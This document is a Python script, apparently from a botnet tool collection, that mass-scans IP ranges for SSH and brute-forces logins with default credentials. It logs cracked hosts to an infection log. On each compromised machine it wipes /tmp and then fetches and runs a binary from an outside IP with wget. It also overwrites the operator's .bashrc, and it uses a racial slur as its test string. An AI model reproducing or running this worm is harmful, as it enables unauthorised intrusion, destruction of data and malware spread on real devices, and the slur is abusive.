Path: blob/master/Botnets/Scanning/AUTOSCANNER/Attack.py
5038 views
#!/usr/bin/env python1# Busybox Bang Bus v12#Made By Pluto & Light3# python attack.py 376 BRAZIL x 0 (SCANS BRAzIL)4# python attack.py 376 LUCKY x 0 (LUCKY B RANGES)5# python attack.py 376 LUCKY2 x 0 (SECONDARY LUCKY B RANGES)6# python attack.py 376 SUPER x 1 (LUCKY A RANGES)7# python attack.py 376 B 113.53 1 (SCANNER EXAMPLE)8# python attack.py 376 RAND x all (IP RANDOMIZATION)9# To setup: install "python-paramiko" then run the command "ulimit -s 999999; ulimit -n 999999; ulimit -u 999999; sysctl -w fs.file-max=999999 >/dev/null"1011import threading, paramiko, random, socket, time, os, sys1213if not os.geteuid()==0:14sys.exit("\nGOTTA BE ROOT TO RIDE DA BANG BUS YA DIG\n")1516sys.stdout.write("\x1b]2;BuSyBoX BaNG BuS\x07")17os.system("clear")18os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")19os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")20paramiko.util.log_to_file("/dev/null") #quiets paramiko output21os.system("sysctl -w fs.file-max=999999 >/dev/null")2223passwords = [ # argv 024"root:root",25"root:admin",26"admin:admin",27"ubnt:ubnt"28"root:1234",29"admin:1234",30"guest:guest",31"user:user",32"test:test",33"pi:raspberry",34"vagrant:vagrant"35]3637usage = '<Threads(Recommended: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'38print "\033[36m" + usage + "\033[0m"39raw_input("Press <ENTER> to Enter the Bang Bus #BusyboxBangBus")40credit = '# DO NOT SHARE THIS FUCKING SHIT' #throwback lulz41print "\033[0m" + credit + "\033[0m"42if sys.argv[4] == '1':43passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective44if sys.argv[4] == '2':45passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective46if sys.argv[4] == 'perl':47passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner48if sys.argv[4] == 'all':49passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow50if sys.argv[4] == 'ubnt':51passwords = [ "ubnt:ubnt" ]5253ipclassinfo = sys.argv[2]54if ipclassinfo == "A":55ip1 = sys.argv[3]56elif ipclassinfo == "B":57ip1 = sys.argv[3].split(".")[0]58ip2 = sys.argv[3].split(".")[1]59elif ipclassinfo == "C":60ips = sys.argv[3].split(".")61num=062for ip in ips:63num=num+164if num == 1:65ip1 = ip66elif num == 2:67ip2 = ip68elif num == 3:69ip3 = ip7071iplist = []72class ipgen(threading.Thread):73if ipclassinfo == "A":74global ip175elif ipclassinfo == "B":76global ip177global ip278elif ipclassinfo == "C":79global ip180global ip281global ip382def run(self):83while 1:84try:85while 1:86thisipisbad='no'87yeet = ["122","131","161","37","186","187","31","188","201","2","200"]88lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52"]89br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]90lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]91if ipclassinfo == "A":92self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))93elif ipclassinfo == "B":94self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))95elif ipclassinfo == "C":96self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))97elif ipclassinfo == "SUPER":98self.host = 'http://'+random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))99elif ipclassinfo == "RAND":100self.host = 'http://'+str(random.randrange(1,225))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))101elif ipclassinfo == "BRAZIL":102self.host = 'http://'+random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))103elif ipclassinfo == "LUCKY":104self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))105elif ipclassinfo == "LUCKY2":106self.host = 'http://'+random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))107else:108self.host = 'http://'+str(random.randrange(1,224))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))109#for badip in blacklist:110#if badip in self.host:111#thisipisbad='yes'112#RESERVE = "Blacklisted IP Detected"113#os.system("echo \033[37m" + RESERVE + "\033[0m")114if any(self.host in s for s in iplist):115thisipisbad='yes'116#DUP = "DUP Detected"117#os.system("echo \033[31m" + DUP + "\033[0m")118if thisipisbad=='no':119iplist.append(self.host)120cock = sshscanner(self.host)121cock.start()122except:123pass124class sshscanner(threading.Thread):125def __init__ (self, ip):126threading.Thread.__init__(self)127self.ip = ip128129global passwords130global ipclassinfo131def run(self):132while 1:133try:134self.ip=self.ip.replace('http://', '')135username='root'136password="0"137port = 22138s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)139s.settimeout(3)140s.connect((self.ip, port))141s.close()142ssh = paramiko.SSHClient()143ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())144dobreak=False145for passwd in passwords:146if ":n/a" in passwd:147password=""148else:149password=passwd.split(":")[1]150if "n/a:" in passwd:151username=""152else:153username=passwd.split(":")[0]154try:155ssh.connect(self.ip, port = port, username=username, password=password, timeout=3)156dobreak=True157break158except:159pass160if True == dobreak:161break162badserver=True163stdin, stdout, stderr = ssh.exec_command("echo nigger")164output = stdout.read()165if "nigger" in output:166badserver=False167websites = [ ]168if badserver == False:169os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> infection.log")170print "\033[31m[\033[32m+\033[31m]\033[0m", random.choice(["\033[32mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m",171"\033[35mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m",172"\033[36mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"])173ssh.exec_command("cd /tmp && rm -rf * && wget http://185.61.138.236/ubntp && chmod +x ubntp && ./ubntp")174time.sleep(3)175ssh.close()176except:177pass178179for x in range(0,int(sys.argv[1])):180try:181t = ipgen()182t.start()183except:184pass # LiGhT ThA BoSs185186